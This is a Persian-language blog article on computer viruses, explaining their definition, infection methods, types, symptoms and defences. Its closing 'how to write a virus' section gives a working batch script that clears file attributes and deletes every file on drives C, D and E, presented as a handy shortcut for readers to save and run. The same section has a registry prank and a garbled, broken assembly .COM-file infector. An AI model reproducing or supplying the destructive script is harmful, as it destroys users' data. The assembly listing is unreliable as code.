مقدمه
ويروس های رایانه ای بسیار اسرار آمیز هستند و توجه بسیاری از برنامه ویسان مشاوران امنیتی شبکه های اینترنتی و حتی افراد عادی که از رایانه برای کارهای معمولی خود استفاده میکنند را به خود جلب کرده اند و سالانه هزینه هنگفتی برای جلوگیری ازانتشار و بالا بردن امنیت شبکه ها و رایانه ها د رمقابل ویروس ها صرف می شود. اگر بخواهیم از دید دیگری به ویروس ها نگاه کنیم نقاط آسیب پذیری و میزان آسیب پذیر بودن سیستم رایانه ای خود و یا اکنیت شبکه ای که ما د رحال کار با آن هستیم به ما نشان می دهند که البته ممکن است این کار کمی برایمان گران تمام شود!
یک ویروس که از طراحی و زیر ساخت پیچیده و سازمان یافته ای بهره مند باشد می تواند تاثیرات شگفت انگیز و در بعضی موارد مخرب بر روی شبکه اینترنت بگذارد. اثراتی که این ویروس ها بر اینترنت میگذارند و تعداد رایانه ها یی که آلوده می کنند خود گواه ارتباطات پیچیده و عظیم انسان ها و رایانه ها و شبکه های اطلاع زسانی در اینترنت می باشد.
برای مثال ویروس جدید مایدم(Mydoom worm) تخمین زده شده که در یک روز حدود 255 هزار رایانه را آلوده کرده باشد. ویروس ملیسا( Melissa virus ) در سال 99 و من شما را دوست دارم I LOVE YOU در سال 2000 که ویروس های قدرتمندی که مایکروسافت و بسیاری از شرکت های ارائه دهنده سرویس ایمیل را مجبور کرد تا زمان پاک سازی و رفع مشکلات بوجود آمده توسط ویروس سرورهای خود را خاموش کنند . شاید وقتی کمی تحقیق کنید و عملکرد این ویروس ها را مورد مطالعه قرار دهید بسیار شگفت زده خواهید شد وقتی بفهمید که این ویروس ها بطرز بسیار ساده ای این کار ها را انجام می دهند. اگر در زمینه برنامه نویسی اطلاعات مختصر و یا حتی زبان برنامه نویسی بلد باشید با دیدن کد های برنامه این ویروس ها به ساده بودن و طرز کار ساده آن ها پی خواهید برد و از آن شگفت زده می شوید.
در این مقاله بحث ما در باره ویروس ها هم ویروس های معمولی و هم ویروس هایی که اخیرا شروع به فعالیت کرده اند می باشد بنابرا ین شما طرز کار ویروس ها و همچنین اطلاعاتی در باره نحوه محافظت و مقابله خود در برابر آن ها را یاد خواهید گرفت. تعداد ویروس ها در حال حاضر د رحال کاهش بوده ولی بعضی اوقات شخصی روش جدیدی برای ساختن آن پیدا می کند و بدین ترتیب ویروس جدیدی طراحی و ساخته می شود.
ويروس كامپيوتري چيست؟
يک ويروس يک برنامه کوچک و انجام پذير است که قابليت آنرا دارد که کد خود را در قسمتهای مختلف يک کامپيوتر مثل هارد ديسک يا فلاپی کپی کند يا به فايلهای اجرائی بچسباند. اين در حالی است که کاربر از وجود ويروس و اعمالی که انجام میدهد کاملا بیاطلاع است و هنگامی متوجه میشود که سيستم يا بايد Format شود و يا سرعت سيستم به شدت پايين آمده است.
برنامهاي را برنامه ويروس می نامیم كه همه ويژگيهاي زير را داراباشد:
1) تغيير نرم افزارهايي كه به برنامه ويروس متعلق نيستند با چسباندن قسمتهايي از این برنامه به برنامههاي ديگر
2) قابليت انجام تغيير در بعضي از برنامهها.
3) قابليت تشخيص این نکته که برنامه قبلاً دچار تغيير شده است يا خير.
4) قابليت جلوگيري از تغيير بيشتر يك برنامه در صورت تغییراتی در آن بواسطه ی ویروس
5) نرم افزارهاي تغيير یافته ويژگيهاي 1 الي 4 را دارا هستند . اگر برنامهاي فاقد يك يا چند ویژگی از ویژگیهای فوق باشد، نمی توان به طور قاطع آنرا ویروس نامید .
متمایز کردن ویروس از نظر خصوصیات آن
هر ويروس خصوصياتی مخصوص به خود دارد. ويروسها راههای متفاوتی برای آلوده کردن سيستمها دارند که همين خصوصيت آنها را از ديگر ويروسها متمايز میکند. در زير طريقه جدا کردن ويروسها را از همديگر شرح میدهم:
الف) حجم: يک ويروس میتواند کوچکتر يا در حدود ۶۶ بايت باشد يا بزرگتر يا در حدود ۴۰۹۶ بايت باشد. در مقايسه با نرمافزارها يک ويروس بايد خيلی کوچک باشد.
ب) روش آلوده سازی: يک ويروس میتواند با روشهای متفاوتی برنامه ميزبان را آلوده کند. در زير سه روش که بيشتر مورد استفاده است شرح داده میشود:
ب(۱) overwriteکردن: زمانيکه يک ويروس با اين روش برنامهای را آلوده میکند، بسادگی يک کپی از کد خود را در بالای کد برنامه ميزبان مینويسد اين روش خيلی ساده بوده و در ويروسهای اوليه بکار گرفته میشد. در اين روش فايل ميزبان به احتمال زياد خراب میشود و از کاربر از ديسک پشتيبان فايل را فراخوانی میکند. در اين روش تاريخ تغييرات فايل عوض میشود اما حجم همانطور باقی میماند در اين روش توابعی که برنامه بايد انجام دهد زياد میشود و سرعت اجرای برنامه اصلی (اگر خراب نشده باشد) کاهش پيدا میکند.
ب(۲) الصاق کردن: اين روش کمی پيچيدهتر است. ويروس خود را به انتهای فايل ميزبان الصاق میکند و سرخط برنامه را اصلاح میکند در هنگام اجرای برنامه، برنامه ابتدا به قسمتی که کد ويروس قرار دارد رفته، دستورات ويروس را اجرا کرده و بعد برگشته و به اجرای برنامه ميزبان میپردازد. در نظر کاربر برنامه به صورت نرمال اجرا میشود اما ايراد اين روش اين است که حجم فايل افزايش میيابد. بعضی از ويروسهای الصاقی تشخيص نمیدهند که فايل قبلا ويروسی شده است يا نه و دوباره و چندباره فايل را آلوده میکنند و اين باعث میشود که حجم فايل رشد قابل ملاحظهای کرده و در انتها فايل ديگر غيرقابل استفادمیشود.
ب(۳) آلوده کنندههای ديسک: ويروسهای ديگر رکورد بوت (بوت سکتور) ديسک يا جدول پارتيشن را آلوده میکنند. اين رکورد قسمتی از ديسک است که هنگام راهاندازی سيستم بصورت اتوماتيک خوانده میشود اين يعنی بعد از راهاندازی سيستم ويروس در حافظه قرار میگيرد!
ج) (terminated and stay resident) يا TSR: يک ويروس که ممکن است مقيم در حافظه باشد يا با اجرای يک برنامه خاص در حافظه بار شود. هنگامی که ويروس مقيم در حافظه شد هر زمان و هر فايلی را که بخواهد آلوده میکند. تمام ويروسهائی که جدول پارتيشن يا بوت سکتور را آلوده میکنند جزو TSRها هستند.
د) مخفیشدن: بعضی از ويروسهای TSR از تکنيکی ماهرانه استفاده میکنند چنانچه هيچ کار سيستم عجيب به نظر نمیرسد گويا اصلا ويروسی در سيستم نيست! موقعی که کاربر يک ليست از پوشهها میگيرد ويروس از خوانده شدن صحيح ديسک جلوگيری میکند انگار نه انگار که چيزی در سيستم تغيير کرده چون يک کپی از محتويات ديسک را قبل از آلوده شدن به کاربر نشان میدهد. به همين دليل پيدا کردن ويروسهائی که مقيم در حافظه شدهاند تقريبا غيرممکن است.
ويروسهايی که بوت سکتور را آلوده میکنند ممکن است مخفی شونده باشند. تنها راه مطمئن برای شناسائی اين ويروسها اين است که ابتدا سيستم را با يک فلاپی (که از ويروسی نبودن آن مطمئن هستيم و در حالت محافظت شده از نوشتن است) بالا آورده و ديسک سخت را ويروسکشی کنيم.
هـ) نحوه فعال شدن و نتايج: ديگر ناحيه برای سوا کردن ويروسها از همديگر نحوه فعال شدن، نتايج آن و نحوه غيرفعال شدن آنهاست. بعضی از آنها در تاريخ معينی فعال میشوند. بعضی ديگر با اجرا شدن برنامهای خاص اجرا میشوند و بعضی ديگر هنگامی خود را نمايان میکنند که ديگر فايلی برای آلوده کردن نمیيابند (يعنی همه فايلها آلوده شدهاند!)
هر وقت که يک ويروس فعال میشود فعاليتهايی را که برايش معين شده است انجام میدهد که اينها را نتايج فعال شدن میناميم. نتيجهای که ممکن است ساده و بیضرر باشد مانند نشان دادن يک پيغام يا بدانديشانه باشد و هارد سيستم را تبديل به يک آشغالدونی بکند. بديهی است که هرکس میخواهد قبل از اينکه ويروس فعال شود آن را بيابند.
انواع ویروس
mail virus
ويروسهايي كه از طريق E-mail وارد سيستم ميشوند معمولاً به صورت مخفيانه درون يك فايل ضميمه شده قرار دارند که با گشودن يك صفحه ی HTML يا يك فايل قابل اجراي برنامهاي (يك فايل كد شده قابل اجرا) و يا يك word document می توانند فعال شوند.
Marco virus
اين نوع ويروسها معمولاً به شکل ماکرو در فايلهايي قرار می گیرند كه حاوي صفحات متني (word document) نظير فايلهاي برنامههاي Ms office ( همچون microsoft word و Excel )هستند .
توضيح ماكرو: نرم افزارهايي مانند microsoft word و Excel اين امکان را برای كاربر بوجود می آورند كه در صفحه متن خود ماكرويي ايجاد نماید،اين ماكرو حاوي يكسري دستور العملها، عمليات و يا keystroke ها است كه تماماً توسط خود كاربر تعيين ميگردند.
ماكرو ويروسها معمولاً طوري تنظيم شدهاند كه به راحتي خود را در همه صفحات متني ساخته شده با همان نرم افزار (Excel , ms word) جاي ميدهند.
اسب تروآ:
اين برنامه حداقل به اندازه خود اسب تروآي اصلي قدمت دارد . عملكرد اين برنامهها ساده و در عین حال خطرناك است.
در حاليكه كاربر متوجه نیست و با تصاویر گرافیکی زیبا و شاید همراه با موسیقی محسور شده ، برنامه عملیات مخرب خود را آغاز می کند.
براي مثال به خيال خودتان بازي جديد و مهيجي را از اينترنت Download كردهايد ولي وقتي آنرا اجرا ميكنيد متوجه خواهيد شد که تمامی فايلهاي روي هارد ديسك پاك شده و يا به طور كلي فرمت گرديده است.
كرمها (worm)
برنامه كرم برنامهاي است كه با كپي كردن خود توليد مثل ميكند. تفاوت اساسي ميان كرم و ويروس اين است كه كرمها براي توليد مثل نياز به برنامة ميزبان ندارند. كرمها بدون استفاده از يك برنامة حامل به تمامي سطوح سيستم كامپيوتري «خزيده» و نفوذ ميكنند. راجع به اینگونه برنامه ها در فصل سوم مفصلا بحث خواهد شد.
ويروسهاي بوت سكتور و پارتيشن
Boot sector قسمتی از ديسك سخت و فلاپي ديسك است كه هنگام راه اندازی سيستم از روي آن به وسيله كامپيوتر خوانده ميشود. Boot Sector یا ديسك سيستم ، شامل كدي است كه براي بار كردن فايلهاي سيستم ضروري است. این ديسكها داده هایی در خود دارند و همچنین حاوي كدي هستند كه براي نمايش پيغام راه اندازی شدن کامپیوتر بوسیله ی آن لازم است .
سكتور پارتيشن اولين بخش يك ديسك سخت است كه پس از راهاندازي سيستم خوانده ميشود. اين سكتور راجع به دیسک اطلاعاتي نظیر تعداد سكتورها در هر پارتيشن و نیز موقعيت همه ی پارتيشنها را در خود دارد.
سكتور پارتيشن، ركورد اصلي راهاندازي يا Master Boot Record -MBR نيز ناميده ميشود.
بسياري ازكامپيوترها به گونه ای پيكربندي شدهاند كه ابتدا از روي درايو: A راهاندازي میشوند. (اين قسمت در بخش Setup سيستم قابل تغيير و دسترسي است) اگر بوت سكتور يك فلاپي ديسك آلوده باشد، و شما سیستم را از روي آن راهاندازي كنيد، ويروس نيز اجرا شده و ديسك سخت را آلوده ميكند.
اگر ديسكی حاوي فايلهاي سيستمي هم نبوده باشد ولي به يك ويروس بوت سكتوري آلوده باشد وقتی اشتباهاً ديسكت را درون فلاپي درايو قرار دهيد و كامپيوتر را دوباره راهاندازي كنيد پيغام زير مشاهده ميشود. ولي به هر حال ويروس بوت سكتوري پيش از اين اجرا شده و ممكن است كامپيوتر شما را نيز آلوده كرده باشد.
Non-system disk or disk error
Replace and press any key when ready
كامپيوترهاي بر پايه Intel در برابر ويروسهاي Boot Sector و Partition Table آسيب پذير هستند.
تا قبل از اینکه سیستم بالا بیاید و بتواند اجرا شود صرفنظر از نوع سیستم عامل می تواند هر کامپیوتری را آلوده سازد.
HOAX (گول زنكها)
اين نوع ويروسها در قالب پيغامهاي فريب آميزي ، كاربران اينترنت را گول زده و به كام خود ميكشد. اين نوع ويروسها معمولاً به همراه يك نامه ضميمه شده از طريق پست الكترونيك وارد سيستم ميشوند. متن نامه مسلماً متن مشخصي نیست و تا حدودي به روحيات شخصي نويسنده ويروس بستگی دارد، پیغامها می توانند مضمونی تحدید آمیز یا محبت آمیز داشته باشند و یا در قالب هشداری ، مبنی بر شیوع یک ویروس جدید ئر اینترنت ، یا درخواستی در قبال یک مبلغ قابل توجه و یا هر موضوع وسوسه انگیز دیگر باشد . لازم به ذکر است كه همه اين نامهها اصل نميباشند يعني ممكن است بسیاری از آنها پيغام شخص سازنده ويروس نباشند بلكه شاید پيغام ويرايش شده يا تغيير یافته از يك كاربر معمولي و يا شخص ديگري باشد كه قبلا اين نامهها را دريافت كرده و بدينوسيله ويروس را با پيغامي كاملاً جديد مجدداً ارسال ميكند.
نحوه تغيير پيغام و ارسال مجدد آن بسيار ساده بوده ، همين امر باعث گسترش سريع Hoaxها شده، با يك دستور Forward ميتوان ويروس و متن تغيير داده شده را براي شخص ديگري ارسال كرد. اما خود ويروس چه شكلي دارد؟ ويروسي كه در پشت اين پيغامهاي فريب آميز مخفي شده ميتواند به صورت يك بمب منطقي ، يك اسب تروا و يا يكي از فايلهاي سيستمي ويندوز باشد. شيوهاي كه ويروس Magistre-A از آن استفاده کرده و خود را منتشر ميكند.
ويروسهاي چند جزئي Multipartite virus
بعضي از ويروسها، تركيبي از تكنيكها را براي انتشار استفاده کرده ، فايلهاي اجرائي، بوت سكتور و پارتيشن را آلوده می سازند. اينگونه ويروسها معمولاً تحت windows 98يا Win.Nt انتشار نمييابند.
از چه راههائی ممکن است سيستم ويروسی شود؟
مثل ويروس ايدز چرنديات زيادی در مورد ويروسهای کامپيوتری وجود دارد که میگويند کدام ويروس میتواند سيستم شما را آلوده کند. طوری ما را از آنها میترسانند که با فهميدن ويروسی شدن سيستم حالمون خراب میشود.
سيستم زمانی ويروسی میشود که شما يک فايل اجرائی را که ويروسی شده است اجرا میکنيد يا قصد بوت کردن از روی يک ديسک آلوده میکنيد. سيستم شما با نگاه کردن به يک فايل ويروسی، ويروسی نمیشود مگر اينکه سيستمعامل خود را طوری تنظيم کنيد که اعمالی خاص را هنگام ديدن فايلهای خاص انجام دهد مثلا windows script host اجرای ويروسهای vbs. را ساده میکند. يک ويروس فقط فايلهائی را میتواند ويروسی کند که قابليت اجرا شدن داشته باشند يا سيستم عامل اجازه اجرا خودکار به آن فايل خاص دهد مانند .scr. bin . drv . sys . ovl . com . exe. و … و جدول پارتيشن و بوت رکورد فلاپی يا ديسک سخت.
اشاره کردم که قصد کنيد از روی يک فلاپی آلوده سيستم را بوت کنيد. حتی زمانيکه شما اين اقدام به اين کار میکنيد و سيستم پيغام میدهد که فلاپی قابليت بوت کردن ندارد و شما آنرا درآورده و از هارد سيستم را بوت میکنيد بازهم سيستم ويروسی میشود. اين خيلی مهم است يعنی لازم نيست که شما با موفقيت از روی يک فلاپی آلوده بوت کنيد تا ويروس فعال شود. اولين کاری که ويروس انجام میدهد آلوده کردن درايو :c است. بعد که يک ديسک در فلاپی میگذاريد آنرا نيز آلوده میکند. به همين دليل است که نبايد هيچ ديسکی در فلاپی باقی بماند و چرا بايد فلاپی ها را در مقابل نوشته شدن محافظت کنيم.
و اما جمعبندی مطالب بالا:
الف) سيستم زمانی ويروسی میشود که شما يک فايل اجرائی را اجرا میکنيد. هر چند ممکن است آن فايل اجرا نشود اما مطمئن باشيد ويروس اجرا میشود.
ب) سيستم زمانی ويروسی میشود که شما اقدام به بوت کردن از روی يک ديسک آلوده میکنيد هر چند بوت کردن با موفقيت انجام نشود.
ج) بوت سرد میتواند ويروس را از حافظه بيرون اندازد اما بوت گرم نه، پس زمانی که میخواهيد سيستم را ریبوت و سپس ويروسکشی کنيد با دکمه power اين کار را انجام دهيد نه با سه کليد Ctrl+Alt+Del.
د) سيستم شما به صرف اينکه شما به يک ديسک يا برنامه آلوده نگاه میکنيد ويروسی نمیشود .
هـ) سيستم شما با يک فايل داده مثل txt. هيچوقت آلوده نمیشود مگر اينکه برنامههای ديگر يک فايل اجرائی را به اين نام تغيير نام داده باشند که اين هم وقتگير است و زياد مورد توجه ويروسنويسها نيست. در ضمن سيستم را طوری تنظيم کنید که پسوند تمام فايلها را نشان دهد شايد متوجه شوید که فايل ويروس چنين است pic1.jpg.exe و تمام فايلهای اجرائی جديد را قبل از اجرا با نرمافزارتان چک کنيد و هيچوقت يک ديسکت را در فلاپی ديسک باقی نگذاريد.
با چه علائمی میتوان فهميد سيستم ويروسی شده است؟
بعضی چيزها و علائم هستند که از روی آنها میتوان فهميد سيستم ويروسی شده است حتی با وجود اينکه نرمافزار ضد ويروس سيستم را سالم میداند باز هم به آن اعتماد ۱۰۰٪ نکنيد خيلی از ويروسها حتی اين نرمافزارها را نيز اسير خود میکنند. و اما علائم از اين قرارند:
الف) فايلهای exe و com رشد میکنند و حجمشان زياد میشود پس سيستم يک ويروس الصاقی دارد.
ب) برنامههايی که اجرايشان میکنيم بدرستی اجرا نمیشوند و با چند پيغام خطا که برای ما تازگی دارند از ادامه کار باز میماند. اين علامت يک ويروس overwrite است بعضی از پيغامهای خطای معمول چنين است “unknown command” يا “حجم برنامه زياد است و در حافظه جای نمیگيرد” و يا پيغامهای شبيه اينها، اينها بايد شما را نسبت به سيستم مشکوک کند.
ج) تغييرات مشکوک در پوشهها. اگر شما برنامه را اجرا میکنيد و متوجه میشويد شما به يک پوشه ديگر انتقال يافتهايد يعنی يک ويروس شروع به شکار فايلها در پوشه برنامه شما کرده است.
د) کاهش در حافظه سيستم. شما بايد بدانيد معمولا چقدر فضای آزاد در حافظه سيستم داريد، اگر اين عدد کاهش پيدا کند پس يک ويروس TSR در سيستمتان زندگی میکند! اما اين هميشه کارگر نيت چون بعضی از ويروسها مقدار زيادی از حافظه را اشغال نمیکنند.
هـ) پيغامهای خطای مشکوک CHKDSK. ويروسهای نهان باعث میشوند شما پيغام خطای CHKDSK بگيريد زيرا آنها اطلاعات CHKDSK را تغيير میدهند. اگر شما در اين وضعيت CHKDSK /f کنيد خطر بزرگی ساختمان پوشههايتان را تهديد میکند در صورتی که در وضعيت عادی چنين خطری وجود ندارد.
و) پائين آمدن سرعت در عمليات سيستم. در اين حالت مدت زمان اجرای برنامهها افزايش میيابد.
چگونه میتوان از سيستم خود در برابر ويروسها محافظت کرد؟
الف) در فاصله زمانی معين از فايلهای حساس خود back up بگيريد.
ب) خيلی از برنامهها مثل NU میتوانند برايتان يک ديسک نجات تهيه کنند تا در موارد حساس از آن استفاده کنيد اين ديسک را تهيه کرده، write protect کرده و در يک جای امن نگهداری کنيد. در آن ديسک يا يک ديسک ديگر يک ويروسکش کم حجم را ذخيره کنيد.
ج) اطلاعات خود را در مورد ويروسها افزايش دهيد و بيشتر با آنها و اعملشان آشنا شويد هيچ برنامه ضدويروسی به اندازه انسان هوشمند نيست.
د) از برنامههای قوی ضدويروس استفاده کنيد (از هيچ چيز که بهترند). اما هميشه به آنها اعتماد نکنيد!
نحوه نوشتن ویروس
ویروس ها معمولا در یک فایل Not Pad نوشته می شوند وبا پشوند های Reg و Bat زخیره می شوند.
پسوند های Reg برای تغییر در رجیسترهای ویندوز بکار می روند و پسوند های Bat برای تغییر در خود سیستم عامل به کار می روند.
نمومه ویرسی با پسوند .Bat
@echo off
ATTRIB -a -s -h -r c:\*.*
ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y |del c:\*.*
Echo y | echo a | Echo y |del d:\*.*
Echo y | echo a | Echo y |del e:\*.*
echo y | copy *.* c:\
echo y | copy *.* D:\
echo y | copy *.* E:\
restart
این ویروس یک میانبر خوب برای کسانی که می خواهند ویندوز را فرمت کنند پس قلم کاغذ بردارید و یادداشت کنید در ناتپد خودتان سپس با پسوند بت ذخیرش کنید.
نمومه ویرسی با پسوند .Reg
Windows registry editor version 5.00
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
“flags”=”127″
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
“flags”=”3″
“windowsEffect”=”3″
این ویروس صداهای مخوف و چشمک زن عالی در کامپیوتر اجرا می کند not pad را باز کنید و این کدرا درونش بنویسید سپس آن را باپسوند regذخیرش کنید.
نمونه ای از یک ویروس در زبان اسمبلی
نوشتن ویروس infect در فایلهای .COM
نویسنده ویروس: : Rock Steady
زبان برنامه نویسی : : Assembly
توالی کار ها یی که ویروس انجام می دهد == <
• پیدا کردن فایل های .Com درون Folder جاری
• ذخیره اطلاعات و خواص فایل
• ذخیره سه بایت اول درون STACK
• آلوده کردن فایل و برگرداندن 3 بایت
• برگرداندن اطلاعات و خواص قبلی به فایل
شروع کد ::
; ———————————————————————————————————————
; The Simple routine to Search for a .COM File …
یک مثال ساده از برنامه ای که فایل های .COM را آلوده می کند.
; ———————————————————————————————————————
Com_files db “*.com”,0 ; با عوض کردن این می توانید فایل های دیگر را نیز آلوده کنید
Mov ah,4eh
Mov dx,com_files
Mov cx,3
Int 21h
Cmp ax,12h ; به دنبال فایل های دیگر گشته
Je exit ; اگر فایل پیدا نشده ؟؟ خروج
در این قسمت می توان مدی گذاشت که برنامه پوشه جاری را عوض کند;
مسیر گشته می شود ;
Found_file:
Mov di,[si+file] ; di == نام فایل
Mov si
Add si,file ; si == نام فایل
Mov ax,offset 4300h ; گرفتن مشخصات فایل
Mov dx,si ; DX رفتن درون
Int 21h
Mov file_attrib,cx ; مشخصات ذخیره می شود
File dw 0
;در قسمت زیر فایل ست می شود برای از بین بردن تمام خواص ها
Mov ax,offset 430h ; آماده برای ست کردن فایل
Mov cx,offset 0ffeh ; فایل ست می شود در حالت معمولی
Mov dx,si ; DX == نام فایل
Int 21h
Mov ax,offset 3d02h ; فایل خوانده می شود برای باز شدن و نوشتن
Mov dx,si ; نام فایل در کد اسکی
Int 21h
Jnb ok ; اگر فایل باز بود ادامه داده و به تابع ok می رود
Jmp put_old_attrib ; اگر مشکلی بود خواص قبلی فایل به آن داده می شود
; و از برنامه خارج می شود
Ok :
Mov bx,ax
Mov ax,offset 5700h ; در این خط زمان و تاریخ سبت فایل بدست می آید
Int 21h
Mov old_time,cx ; زمان قدیم ذخیره شده برای برگرداندن به فایل
Mov old_date,dx ; تاریخ قدیم
Old_time db 0
Old_date db 0
; اینجا ما شروع به خراب کردن فایل می کنیم و برای این کار 3 بایت اول را ذخیره می کنیم
Mov ah,3fh ; فایل خوانده می شود
Mov cx,3 ; شماره بایت بدست می آید
Mov dx,fisrt_3 ; بایت در بافر ذخیره می شود
Mov dx,si ; DX == نام فایل
Int 21h
Cmp ax,3 ; کجا 3 بایت خوانده شد؟؟
Jnz fix_file ; اگر فایل ست نشد برنامه خارج می شود
First_3 equ $ ; سه بایت
Int 20h ; ویروس آلوده می کند
Nop
; این حرکت باری رفتن به آخر سایت است
Mov ax,offset 4202h
Mov cx,0
Mov dx,o
Int 21h
Mov cx,ax ; DX : AX == در این دو اندازه فایل وجود دارد
Sub ax,3 ; اون 3 بایت از فایل کم شده
Add cx,offset c_len_y
Mov di,si
Sub di,offset c_len_x
Mov [di], cx ; اصلاح می شود 2و3 بایت از برنامه
; ویروس ما در اینجا نوشته می شود درون فایل
Mov ah,40h
Mov cx,virlength ; طول ویروس
Mov dx,si
Sub dx,offset codelength ; طول کد ویروس
Int 21h
Cmp ax,offset virlength ; آیا تمام بایت ها نوشته شد؟؟
Jnz fix_file ; اگر فایل ست نشد برنامه بسته می شود
; پوینتر به ابتدای فایل رفته و 3 بایت نیز در ابتدا ست می شوند
Mov ax,offset 4200h
Mov cx,0
Mov dx,0
Int 21h
Mov ah,40h ; نوشتن بر روی فایل
Mov cx,3 ; 3 بات برای نوشتن
Mov dx,si ; DX = … نام فایل
Add dx,jump
Int 21h
Jump db 0e9h ; این پرش به ابتدای فایل می رود
; در این قسمت تمام قبلی به فایل داده می شود
Fix_file:
Mov dx,old_date ; تاریخ
Mov cx,old_time ; زمان
And cx,offset 0ffe0h ; o,hw
Mov ax,offset 5701h
Int 21h
Mov ah,3eh
Int 21h ; فایل بسته شده
; خواص که ذخیره شده دوباره باز گردانده می شود
Put_old_attrib:
Mov ax,offset 4301h
Mov cx,old_att ; خواص قدیمی
Mov dx,si ; DX = … نام فایل
; تمام
هنوز دیدگاهی نرسیده
هنوز دیدگاهی داده نشده.
RSS دیدگاهها URI شناساگر دنبالک
دیدگاهتان را بنویسید:





